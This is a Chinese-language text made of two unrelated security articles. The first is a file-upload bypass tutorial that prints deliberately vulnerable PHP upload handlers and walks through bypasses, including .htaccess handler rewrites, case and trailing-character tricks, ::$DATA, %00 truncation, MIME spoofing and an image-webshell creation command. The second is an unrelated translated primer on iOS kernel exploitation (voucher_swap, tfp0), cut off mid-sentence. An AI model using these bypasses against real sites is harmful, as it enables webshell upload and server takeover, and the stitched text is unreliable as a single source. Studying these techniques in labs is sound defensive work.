$is_upload = false;//申明一个变量
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {//判断路径是否存在
$temp_file = $_FILES['upload_file']['tmp_name'];//文件临时名字
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<h3>上传</h3>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
</ol>
</div>
### 3.2 上传图片成功
## 4\. 前端本地JS后缀名验证
<?php
header("Content-Type:text/html;charset=UTF-8");
error_reporting(0);//取消报错
$is_upload = false;//申明一个变量
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {//判断路径是否存在
$temp_file = $_FILES['upload_file']['tmp_name'];//文件临时名字
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<h3>上传</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
</ol>
</div>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
</script>
### 使用删除JS代码绕过
直接删除相关JS代码，上传成功。
## 5\. 后缀名黑名单形式验证-绕过
### 5.1 后缀名验证
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
header("Content-Type:text/html;charset=UTF-8");
error_reporting(0);
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//返回从该位置'.'到字符串结尾的所有字符：
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
</li>
</ol>
</div>
#### 使用特殊解析后缀php3，php4，php5，pht，phtml，phps绕过
后缀名改成phtml等，当然这取决于apache的配置是否支持这些特殊解析后缀。
上传.php3，绕过成功
### 5.2 特殊解析后缀名验证
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
header("Content-Type:text/html;charset=UTF-8");
error_reporting(0);
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);//移除字符串两侧的空格字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//返回从该位置'.'到字符串结尾的所有字符：
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
</li>
</ol>
</div>
#### 使用.htaccess绕过
.htaccess示例一
<FilesMatch "xazl">
Sethandler application/x-httpd-php
</Filesmatch >
.htaccess示例二
Sethandler application/x-httpd-php
使用示例二上传图片马，右键访问解析成功
### 5.3 大小写绕过
#### 原理
缺少了大小写过滤，所以可以使用大写绕过；
过滤函数 strtolower($file_ext); //转换为小写。
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
header("Content-Type:text/html;charset=UTF-8");
error_reporting(0);
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
</li>
</ol>
</div>
#### 使用.phP 大写替换上传成功
### 5.4 空格绕过
#### 原理
Windows操作系统自动强制去除文件扩展名后边的空格，而在数据包则会保留。数据包中更改加入空格，绕过黑名单过滤，传到服务器上时候则由于系统特性去除了空格，达到绕过执行效果。
相关函数 $file_ext = trim($file_ext); //收尾去空格
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
header("Content-Type:text/html;charset=UTF-8");
error_reporting(0);
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
</li>
</ol>
</div>
#### bp抓包使用空格绕过
### 5.5 点“.”绕过
#### 原理
操作系统自动强制去除文件扩展名后边的“.”，而数据包可以加上点，用来绕过黑名单限制。
Windows下文件名结尾接入. 空格 < > >>> 0x81-0xff等字符，会被忽略。
相关函数 $file_name = deldot($file_name);//删除文件名末尾的点
<?phpfunction deldot($s){ for($i = strlen($s)-1;$i>0;$i--){ $c = substr($s,$i,1); if($i == strlen($s)-1 and $c != '.'){ return $s; } if($c != '.'){ return substr($s,0,$i+1); } }}header("Content-Type:text/html;charset=UTF-8");error_reporting(0);$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = '此文件类型不允许上传！'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; }}?><div id="upload_panel"> <ol> <li> <form enctype="multipart/form-data" method="post" action=""> <p>请选择要上传的图片：<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> <div id="msg"> <?php if($msg != null){ echo "提示：".$msg; } ?> </div> </li> </ol></div>
#### bp抓包使用文件后缀名最后加“.”绕过
上传test.php成功
#### 注意.空格.
还有个xxx.php.空格.绕过，原理是最后一个点被deldot过滤后，trim去空格，重新变成xxx.php.
#### 思路拓展：数组接受+目录命名
### 5.6 ::$DATA 不检查后缀名（Windows ADS流特性）
#### 原理
::$DATA加在文件后缀名后就是当成文件流处理，也就是使得不检测后缀名
相关函数 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
<?phpfunction deldot($s){ for($i = strlen($s)-1;$i>0;$i--){ $c = substr($s,$i,1); if($i == strlen($s)-1 and $c != '.'){ return $s; } if($c != '.'){ return substr($s,0,$i+1); } }}header("Content-Type:text/html;charset=UTF-8");error_reporting(0);$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = '此文件类型不允许上传！'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; }}?><div id="upload_panel"> <ol> <li> <form enctype="multipart/form-data" method="post" action=""> <p>请选择要上传的图片：<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> <div id="msg"> <?php if($msg != null){ echo "提示：".$msg; } ?> </div> </li> </ol></div>
#### 抓包在后缀名加::$DATA绕过
### 5.7 双写绕过
原理 一次过滤和递归循环过滤后缀名是不同的，这也是一次过滤就造成双写的绕过。
$file_name = str_ireplace($deny_ext,"", $file_name);//把黑名单中的后缀去掉，可是只能执行一次
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name);// $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！'; }}
#### 抓包使用test.PHphpp双写后缀名绕过
## 6\. 解析漏洞绕过执行
### 6.1 原理
上传之后需要解析执行
### 6.2 存在解析漏洞的中间件及其版本信息、利用方式整理
代码层是黑名单+白名单思路，遇到如下中间件可直接打
### 6.3 存在解析漏洞的编辑器及其版本信息、利用方式资料搜集
<https://navisec.it/编辑器漏洞手册/>
<https://www.bilibili.com/video/BV1JZ4y1c7ro?p=22> 0:50:15
当前[ FCKeditor这一种用的多。
## 7\. 后缀名白名单形式验证-绕过
### 7.1 %00截断
#### 截断条件
php版本小于5.3.4，php的magic_quotes_gpc为OFF状态 场景多为上传路径暴露
%00应用场景在url编码地址中；0x0a场景是在文件名中
get自动识别空格=%00 post不会自己解码%00，需要HEX编码下
%00截断：利用%00截断move_uploaded_file函数，只解析%00前的字符，%00后的字符不解析，通常运用在GET方式，因为GET方式传入能自动进行URL解码，如upload-lacbs Pass-11
0x00截断：原理同%00截断，只不过是通过POST方式传递参数，需要通过Burp在十六进制形式中修改
#### 这里使用upload-labs环境验证绕过
### 7.2后端白名单MIME验证
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
<?phperror_reporting(0);$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {//验证MIME类型 $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } } else { $msg = '文件类型不正确，请重新上传！'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！'; }}?><div id="upload_panel"> <ol> <h3>上传</h3> <form enctype="multipart/form-data" method="post" action=""> <p>请选择要上传的图片：<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> <div id="msg"> <?php if($msg != null){ echo "提示：".$msg; } ?> </div> </ol></div>
#### 使用burpsuit改包绕过
上传成功
## 8 文件内容及其他验证
### 8.1 文件头验证
#### 原理
如.Jpg .png .gif文件右键以notepad打开，在首部就可以看到属于图片类型专有的标识。有的上传是会验证这里的所谓文件头。
#### 使用图片马+文件包含漏洞绕过、
#### 注意：学习图片马生产命令
copy 1.png /b +shell.php /a webshell.jpg 等同与notepad打开手动添加
以upload-labs 13关实现，效果差不多这样仅代表触发而已
#### 或者使用GIF89A+文件包含漏洞绕过
利用 **GIF89A** 伪造成GIF文件：在PHP文件开头内容加入 **GIF89A** ，服务器通过 **getimagesize**
会认为这是GIF文件
### 8.2 获取图片信息（如大小、类型等）函数验证
#### 原理
getinmagesize、exif_imagetype 等获取图片信息的这一类函数，只要检测不是图片，直接不执行了。所以这时候需要文件包含漏洞来执行。
#### 使用图片马+文件包含漏洞绕过 （同上）
### 8.3 二次渲染场景+使用条件竞争绕过（代码逻辑漏洞）
#### 原理
二次渲染场景：上传后选择保存或者删除操作就是服务器进行二次渲染操作
条件竞争：bp不断发包请求，在一次上传 在二次渲染之前不断访问，有几率访问成功，成功的基本原理就是程序占用。
## 9.WAF绕过-暂时思路搜集提供
### 9.1 数据包里上传参数名解析里，首先明确哪些东西能修改
Content-Disposition 一般可更改
name: 表单参数值 不能更改
filename：文件名，可以更改
Content-Type 文件MIME，视情况更改
### 9.2 常见绕过方法
数据溢出-防匹配（xxx...）
符号变异-防匹配（' '' ;）
数据截断-防匹配（%00 ； 换行）
重复数据-防匹配（参数多次）
## 10 文件上传安全修复方案
### 10.1 客户端检查
一般是JS，改包或者删除JS代码比较简单可以绕过
### 10.2 服务端验证模式
后缀名检测：基于黑名单（特殊解析后缀、.htaccess、大小写、空格、点、ADS文件流::$DATA、双写、上传.7z压缩包等）、白名单（%00、MIME检测）过滤；
内容检测：文件头，完整性（图片类型大小等信息）检测，代码优化防止二次渲染条件竞争；
WAF防护产品：安全狗、云盾、宝塔等； | 社区文章 |
本文原文来自[From zero to tfp0 - Part 1:
Prologue](http://highaltitudehacks.com/2020/06/01/from-zero-to-tfp0-part-1-prologue/)。
2019年1月22日，Google Project
zero安全研究员[@_bazad](https://twitter.com/_bazad)发了以下[推文](https://twitter.com/_bazad/status/1087782723970785281?ref_src=twsrc%5Etfw)。
如果您对iOS内核引导自举安全研究(包括伪造PAC和调用任意内核函数的能力)感兴趣，请保留一台iOS 12.1.2的A12研究设备。
他发现的是MIG(Message Interface
generator，消息接口生成器)生成的代码中的引用计数漏洞。他提供了触发该漏洞并引起内核panic的POC。之后又提供了向用户态提供内核任务端口(tfp0)从而可以读写内核中任何内容的完整的POC。
2019年1月29日，他又发布了以下[推文](https://twitter.com/_bazad/status/1090312918422282241)，将其称为voucher_swap。
现在A12设备上能够在内核中执行代码，介绍一下voucher_swap：
https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html
越狱社区随后将该漏洞用于为iOS 12开发完整的越狱程序。本系列博客分为三个部分。
第1部分介绍iOS安全基础知识，这是理解下面两部分的基础。这一部分讨论了分析kernelcache，Mach消息，Mach端口，MIG，堆分配基础，CoreTrust，PAC等等，以及一些流行的漏洞利用技术，例如伪造内核任务端口，通过task_for_pid()读取内核等等。如果你已经知道这些技术可以直接跳至第2部分。在第1部分中我将提到其他两部分，这两部分将进一步重申为什么理解这些概念是必要的。
第2部分将讨论[@_bazad](https://twitter.com/_bazad)的voucher_swap以及实现tfp0的完整步骤。
第3部分将讨论实现越狱的步骤，例如逃逸沙盒，CoreTrust，启用rootfs remount等等。
在开始之前，需要准备以下文件。
* 存在漏洞的xnu内核代码：[xnu-4903.221.2](https://opensource.apple.com/tarballs/xnu/xnu-4903.221.2.tar.gz)
* voucher_swap EXP代码：[voucher_swap](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=377026&signed_aid=RWxVCY6jN3pZa8F0_0iOhg==)
* [Undecimus越狱的最新版本](https://github.com/pwn20wndstuff/Undecimus)
* iPhone8的iOS12.0的[IPSW](http://updates-http.cdn-apple.com/2018FallFCS/fullrestores/091-63070/11855120-AC8E-11E8-8110-D73611761120/iPhone_4.7_P3_12.0_16A366_Restore.ipsw)
* Hopper，IDA Pro或Binary-Ninja，你喜欢哪个都可以
* jtool2
## XNU内核
iOS
kernelcache由核心内核及其内核扩展组成。内核代码本身是不开源的，但是它基于在macOS上使用的开源XNU内核的分支。可以从opensource.apple.com下载XNU内核。
从最近几年开始，Apple也一直在开源ARM架构特定的代码，这些代码可以在ifdef CONFIG_EMBEDDED语句下找到。当然也有一些没有开源。
通过源码审计就可能找到内核中的漏洞。但是，只有通过编译内核并查看BUILD目录才能找到某些漏洞(例如voucher_swap)，该目录包含MIG生成的代码。内核扩展中存在的漏洞通常是通过逆向找到的，因为kext代码通常不是开源的。有些漏洞仅存在于macOS，而有些漏洞仅存在于iOS。
## kernelcache
kernelcache是一个包括核心内核及其内核扩展的Mach-O二进制文件。在iOS
10之前它一直是加密的，令人意外的是之后Apple以性能为主要原因决定发布未加密的kernelcache。现在可以轻松从IPSW文件解压提取它。在此之前，获得kernelcache的方式通常是找到内核漏洞之后将它从内存中dump出来，或者获取加密密钥(从theiphonewiki或利用bootrom漏洞)之后解密。
要获得解压的kernelcache，只需将ipsw文件解压并查找kernelcache文件。
prateek:mv iPhone_4.7_P3_12.0_16A366_Restore.ipsw iPhone_4.7_P3_12.0_16A366_Restore.zip
prateek:unzip iPhone_4.7_P3_12.0_16A366_Restore.zip
Archive: iPhone_4.7_P3_12.0_16A366_Restore.zip
inflating: Restore.plist
creating: Firmware/
creating: Firmware/usr/
creating: Firmware/usr/local/
inflating: BuildManifest.plist
creating: Firmware/AOP/
inflating: Firmware/AOP/aopfw-t8010aop.im4p
inflating: Firmware/D201_CallanFirmware.im4p
....
inflating: kernelcache.release.iphone10
inflating: Firmware/ICE16-3.00.01.Release.plist
inflating: kernelcache.release.iphone9
inflating: Firmware/ICE17-2.00.01.Release.plist
creating: Firmware/Maggie/
可以使用jtool2列出所有内核扩展并将它们拆分为相应的kext文件。
IDA通过魔术值检测kernelcache，并提供了将kernelcache拆分为相应的kext文件的选项。现在可以分别逆向这些内核扩展，以便挖掘其中的漏洞。
在越狱的iOS设备上，解压后的kernelcache可以在/System/Library/Caches/com.apple.kernelcaches/kernelcache下找到。一些越狱使用这个文件来动态找到某些符号和偏移量的地址，而不是使用硬编码的偏移量。一个很好的例子就是@morpheus创建的Qilin工具包。
## kernelcache符号
符号化二进制文件可能需要很多人力工作。直到iOS 11 kernelcache一直带有某些符号。从iOS
12开始，Apple决定删除kernelcache的所有符号，但是Apple误发布了符号完整的beta版本的kernelcache。这个IPSW后来从下载中删除了。下图显示了jtool2分别在删除了符号的iOS
12 kernelcache和符号完整的iOS 12 beta kernelcache上获得的符号数量。
符号完整的kernelcache随后被jtool2用来为删除了符号的kernelcache创建符号。jtool2其中一个最有用的功能是analyze命令，提供一个iOS
12 kernelcache，它会将符号缓存输出到文件。
如下所示，大约有12000个符号。
如果看到$$$，一种最简单的方法是使用IDA 7.2开始引入的Lumina功能获取符号。
## 编译内核
编译内核对于发现漏洞非常重要。实际上，我们在这里讨论的voucher_swap漏洞是不能通过审计xnu内核源码找到的。因为一些依赖关系，编译内核有点复杂，但是通过Google可以找到许多一步一步说明如何编译内核的文章，包括[@_bazad](https://twitter.com/_bazad)为XNU
4570.1.46(MacOS High Sierra
10.13)编写的自动化[脚本](https://gist.github.com/bazad/654959120a423b226dc564073b435453)。在第2部分研究voucher_swap时我们将查看存在于MIG生成的文件中的含有漏洞的源代码。
## Mach消息
XNU内核的独特功能之一是它广泛使用了Mach
IPC，它是从Mach微内核派生而来的，并且是迄今为止最快的IPC机制之一。iOS上的许多常用IPC机制(例如XPC)仍在底层使用Mach消息。下面是有关Mach消息的一些要点。
* Mach IPC基于单向通信
* Mach IPC中的通信以Mach消息的形式在端口之间进行。根据消息头中设置的特定位，消息可以是简单的也可以是复杂的
* 发送和接收消息必须有关联的端口权限。下面是不同类型的权限：
MACH_PORT_RIGHT_SEND-允许发送消息
MACH_PORT_RIGHT_RECEIVE-允许接收消息
MACH_PORT_RIGHT_SEND_ONCE-允许发送一次消息
MACH_PORT_RIGHT_PORT_SET-面向一组端口接收或发送消息
MACH_PORT_RIGHT_DEAD_NAME-表示因为对应的端口被销毁或者已经发送了一次消息从而无效的SEND或者SEND_ONCE权限
* Mach端口权限可以嵌入并通过Mach消息发送
* 一个端口可以有多个发送权限，但只有一个接收权限。发送权限也可以克隆，而接收权限则不能
* 发送的Mach消息在接收方收到之前将保留在内核的队列中。这种技术过去用于堆风水
* iOS中最重要的二进制文件之一launchd充当引导服务器并允许进程相互通信。launchd可以帮助一个进程查找另一个进程，因为所有进程都通过launchd启动并在启动时注册。因此，launchd还可以实现节流(throttling)并在某些情况下允许或拒绝查找，从而充当安全控件。launchd非常重要，因此它是第一个启动的守护进程(PID 1)，launchd中的任何crash都将立即引发内核panic
* 消息由进程内的线程发送和接收，充当进程内的执行单元。但是，端口权限保留在任务级别，并可在任务的ipc_space中找到(稍后讨论)
让我们看一下内核中与Mach
IPC相关的代码。来看一下xnu-4903.221.1/osfmk/mach/message.h。如前所述，消息本质上可以是简单或复杂的。在下图中，可以看到简单的Mach消息(mach_msg_base_t)的结构，其中包括头部(mach_msg_header_t)和主体(mach_msg_body_t)。但是简单的消息主体会被内核忽略。
Mach消息头部结构体具有以下成员。
* msgh_bits：这是一个包含消息的各种属性的位图，例如消息是简单还是复杂，要执行的操作(例如移动或复制端口权限)。完整的逻辑可以在osfmk/mach/message.h中找到
* msgh_size：头部+主体的大小
* msgh_remote_port：目标端口的发送权限
* msgh_local_port：接收端口的接收权限
* msgh_voucher_port：voucher用于通过键值对传递消息中的数据
* msgh_id：任意32位值
在message.h中可以看到，将msgh_bits的复杂位设置为1来指定复杂消息。
除头部外还包含某些描述符，并且在主体中指定了描述符的数量(msgh_descriptor_count)。
mach_msg_type_descriptor_t成员指定它是什么类型的描述符，其他成员中含有相应的数据。存在以下类型的描述符：
* MACH_MSG_PORT_DESCRIPTOR：在消息中发送一个端口
* MACH_MSG_OOL_DESCRIPTOR：在消息中发送OOL数据
* MACH_MSG_OOL_PORTS_DESCRIPTOR：在消息中发送OOL端口数组
* MACH_MSG_OOL_VOLATILE_DESCRIPTOR：在消息中发送易失性数据
OOL(Out-of-line)端口描述符已广泛用于用用户控制的数据来喷射堆。每当使用MACH_MSG_OOL_PORTS_DESCRIPTOR时，它将在内核堆中分配(kalloc)具有所有端口指针的数组。该技术已用于voucher_swap
EXP中，并将在本系列的第2部分中进行讨论。
端口在用户态中用mach_port_t或mach_port_name_t表示，但在内核中并不是。mach_port_name_t表示本地命名空间标识，但未关联任何端口权限，并且在任务命名空间之外基本上没有任何意义。但是，只要进程从内核接收到mach_port_t，它就会将关联的端口权限映射到接收者，mach_port_name_t则不会。mach_port_t通常总是至少拥有一项权限，可以是RECEIVE，SEND或SEND_ONCE。这就是我们在EXP中引用内核任务端口的原因。我们使用mach_port_t是因为它确实将端口权限与对象相关联。获得mach_port_t的句柄会自动在调用者的命名空间中创建关联的发送权限。
为了发送或接收消息，可以使用osfmk/mach/message.h中定义的mach_msg和mach_msg_overwrite
API。让我们看一些代码示例以更好的理解它。以下代码段使用mach_port_allocate API创建Mach端口并获得该端口的接收权限。
可以使用mach_msg发送消息。
然后可以使用mach_msg接收消息。
如果你有一个端口的发送权限，你可以使用mach_port_insert_right将这个发送权限插入另一个任务，然后使用mach_msg发送消息。如前所述，mach_port_name_t在任务命名空间之外毫无意义，这就是为什么需要将任务(ipc_space_t)与mach_port_name_t一起指定的原因，以便内核可以将指定的名称(mach_port_name_t)放入该任务的命名空间。
## MIG-Mach接口生成器
使用Mach
